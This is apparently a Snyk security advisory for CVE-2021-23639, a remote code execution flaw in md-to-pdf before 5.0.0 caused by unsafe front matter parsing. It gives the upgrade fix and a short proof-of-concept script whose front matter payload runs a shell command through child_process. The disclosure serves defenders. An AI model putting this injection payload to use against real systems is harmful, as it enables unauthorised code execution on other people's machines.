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Remote Code Execution (RCE) Affecting md-to-pdf Open this link in a new tab package, versions <5.0.0

0.0
critical

  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    Low

  • Confidentiality

    High

  • Integrity

    High

  • Availability

    High

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  • snyk-id

    SNYK-JS-MDTOPDF-1657880

  • published

    8 Dec 2021

  • disclosed

    23 Sep 2021

  • credit

    Oscar Arnflo

Report a new vulnerability Found a mistake?

Introduced: 23 Sep 2021

CVE-2021-23639 Open this link in a new tab
CWE-94 Open this link in a new tab
First added by Snyk

How to fix?

Upgrade md-to-pdf to version 5.0.0 or higher.

Overview

md-to-pdf is a CLI tool for converting Markdown files to PDF.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to utilizing the library gray-matter to parse front matter content, without disabling the JS engine.

PoC: 

//Before running poc.js:

$ cat /tmp/RCE.txt
cat: /tmp/RCE.txt: No such file or directory

//After running poc.js
$ node poc.js

$ cat /tmp/RCE.txt
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)

poc.js:

const { mdToPdf } = require('md-to-pdf');


var payload = '---jsn((require("child_process")).execSync("id > /tmp/RCE.txt"))n---RCE';


(async () => {
await mdToPdf({ content: payload }, { dest: './output.pdf' });
})();